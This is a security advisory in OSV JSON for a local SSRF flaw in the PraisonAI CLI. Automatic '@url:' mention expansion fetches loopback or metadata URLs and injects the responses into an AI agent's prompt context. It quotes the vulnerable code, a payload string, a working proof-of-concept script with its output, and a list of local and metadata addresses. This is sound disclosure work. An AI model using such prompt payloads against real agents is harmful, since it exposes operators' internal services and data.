CVE-2026-47395: Praisonaiagents PraisonAI CLI Automatically Resolves @url Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5cxw-77wg-jrf3",
  "modified" : "2026-05-29T22:29:47Z",
  "published" : "2026-05-29T22:29:47Z",
  "aliases" : [ "CVE-2026-47395" ],
  "summary" : "PraisonAI CLI automatically resolves @url mentions in prompt text and can read loopback URLs into model context",
  "details" : "### Summary\n\nPraisonAI's direct-prompt CLI automatically expands `@url:` mentions in raw prompt text before agent execution begins.\n\nIf a prompt contains `@url:<http-or-https-url>`, the CLI calls `MentionsParser.process(...)`. The `@url:` handler then performs a direct `urllib.request.urlopen()` request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context.\n\nThere is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch.\n\nAs a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context.\n\nExample:\n\n```text\n@url:http://localhost.:8766/ summarize this\n````\n\nThis causes PraisonAI to make an HTTP request to the local machine and prepend the fetched response body to the prompt that the model receives.\n\nThis is a narrow local SSRF / local content disclosure issue in automatic prompt preprocessing. It is not a remote server takeover.\n\n### Details\n\nThe affected direct-prompt CLI path is in:\n\n```text\nsrc/praisonai/praisonai/cli/main.py\n```\n\nThe CLI imports and instantiates `MentionsParser` on the direct prompt path:\n\n```python\nfrom praisonaiagents.tools.mentions import MentionsParser\n\nparser = MentionsParser(workspace_path=os.getcwd())\n\nif parser.has_mentions(prompt):\n    mention_context, prompt = parser.process(prompt)\n\nif mention_context:\n    prompt = f\"{mention_context}# Task:\\n{prompt}\"\n```\n\nThis means raw prompt text is interpreted as a mention language before query rewriting, prompt expansion, tool execution, or LLM invocation.\n\nThe affected mention implementation is in:\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/mentions.py\n```\n\n`@url:` is a first-class mention type:\n\n```python\nPATTERNS = {\n    \"file\": re.compile(r'@file:([^\\s]+)'),\n    \"web\": re.compile(r'@web:([^\\s]+(?:\\s+[^\\s@]+)*)'),\n    \"doc\": re.compile(r'@doc:([^\\s]+)'),\n    \"rule\": re.compile(r'@rule:([^\\s]+)'),\n    \"url\": re.compile(r'@url:(https?://[^\\s]+)'),\n}\n```\n\nThe URL mention handler performs an unrestricted HTTP request:\n\n```python\nreq = urllib.request.Request(\n    url,\n    headers={'User-Agent': 'Mozilla/5.0 (compatible; PraisonAI/1.0)'}\n)\n\nwith urllib.request.urlopen(req, timeout=10) as response:\n    content = response.read().decode('utf-8', errors='ignore')\n```\n\nThere is no validation rejecting:\n\n```text\n127.0.0.1\nlocalhost\nlocalhost.\nprivate RFC1918 addresses\nlink-local addresses\ncloud metadata endpoints\nother local-only HTTP services\n```\n\nThe returned body is added to the generated mention context and then prepended to the prompt.\n\nThe resulting chain is:\n\n```text\nattacker-influenced prompt text\n  -> @url:http://localhost.:8766/\n  -> direct-prompt CLI calls MentionsParser.process(...)\n  -> _process_url_mention(...)\n  -> urllib.request.urlopen(attacker URL)\n  -> loopback HTTP response body is read\n  -> response body is injected into model prompt context\n```\n\n### PoC\n\nThe following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8766`, passes a prompt containing `@url:http://localhost.:8766/` through the real `MentionsParser.process(...)` implementation, and confirms that the local response body is injected into the generated prompt context.\n\n#### Full PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI CLI @url mention loopback fetch.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPRAISON_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\nCLI_MAIN = PRAISON_ROOT / \"praisonai/cli/main.py\"\nMENTIONS = AGENTS_ROOT / \"praisonaiagents/tools/mentions.py\"\n\n\ndef verify_source() -> None:\n    expected = {\n        CLI_MAIN: [\n            \"from praisonaiagents.tools.mentions import MentionsParser\",\n            \"if parser.has_mentions(prompt):\",\n            \"mention_context, prompt = parser.process(prompt)\",\n            'prompt = f\"{mention_context}# Task:\\\\n{prompt}\"',\n        ],\n        MENTIONS: [\n            '\"url\": re.compile(r\\'@url:(https?://[^\\\\s]+)\\')',\n            \"def _process_url_mention(self, url: str) -> Optional[str]:\",\n            \"with urllib.request.urlopen(req, timeout=10) as response:\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nclass _Handler(BaseHTTPRequestHandler):\n    hits: list[tuple[str, str | None]] = []\n    body = b\"<html><body>secret-local-page</body></html>\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.__class__.hits.append((self.path, self.headers.get(\"Host\")))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, format: str, *args) -> None:  # noqa: A003\n        return\n\n\ndef main() -> int:\n    if not CLI_MAIN.exists() or not MENTIONS.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(AGENTS_ROOT))\n    from praisonaiagents.tools.mentions import MentionsParser\n\n    _Handler.hits.clear()\n\n    server = HTTPServer((\"127.0.0.1\", 8766), _Handler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n\n    try:\n        parser = MentionsParser(workspace_path=\"/tmp\")\n        context, cleaned = parser.process(\"@url:http://localhost.:8766/ summarize this\")\n    finally:\n        server.shutdown()\n        server.server_close()\n        thread.join(timeout=1)\n\n    print(\"[poc] cli_path_verified=yes\")\n    print(\"[poc] mention_impl_verified=yes\")\n    print(f\"[poc] cleaned_prompt={cleaned}\")\n    print(f\"[poc] loopback_hit_count={len(_Handler.hits)}\")\n\n    if _Handler.hits:\n        print(f\"[poc] loopback_host={_Handler.hits[0][1]}\")\n\n    print(f\"[poc] context_contains_secret={'secret-local-page' in context}\")\n\n    if cleaned != \"summarize this\":\n        raise SystemExit(f\"[poc] MISS: unexpected cleaned prompt {cleaned!r}\")\n\n    if not _Handler.hits:\n        raise SystemExit(\"[poc] MISS: no loopback HTTP request observed\")\n\n    if \"secret-local-page\" not in context:\n        raise SystemExit(\"[poc] MISS: local response body was not injected into prompt context\")\n\n    print(\"[poc] HIT: @url mention fetched loopback content and injected it into prompt context\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n#### Observed output\n\n```text\n[poc] cli_path_verified=yes\n[poc] mention_impl_verified=yes\n[poc] cleaned_prompt=summarize this\n[poc] loopback_hit_count=1\n[poc] loopback_host=localhost.:8766\n[poc] context_contains_secret=True\n[poc] HIT: @url mention fetched loopback content and injected it into prompt context\n```\n\n#### Expected secure behavior\n\nA prompt-borne `@url:` mention should not be able to read loopback or private-network resources by default.\n\nAt minimum, the following should be rejected before any HTTP request is made:\n\n```text\nhttp://127.0.0.1/\nhttp://localhost/\nhttp://localhost./\nhttp://169.254.169.254/\nprivate RFC1918 addresses\nlink-local addresses\n```\n\n#### Actual vulnerable behavior\n\nThe loopback request succeeds, and the returned local content is inserted into the generated prompt context.\n\n### Impact\n\nAn attacker who can influence prompt text passed to PraisonAI's direct-prompt CLI can cause the operator's machine to perform local HTTP requests and inject the fetched response body into the model prompt context.\n\nPotential impact includes:\n\n* reading localhost-only HTTP resources;\n* reading local dashboards, admin panels, development servers, or internal web services bound to loopback;\n* exposing fetched local content to the model prompt;\n* exposing fetched local content through downstream logs, traces, model output, or agent memory depending on the operator workflow.\n\nThis report does not claim unauthenticated remote server takeover. The attacker must influence the prompt text that an operator runs with the direct-prompt CLI.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.39"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.39"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5cxw-77wg-jrf3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:29:47Z",
    "nvd_published_at" : null
  }
}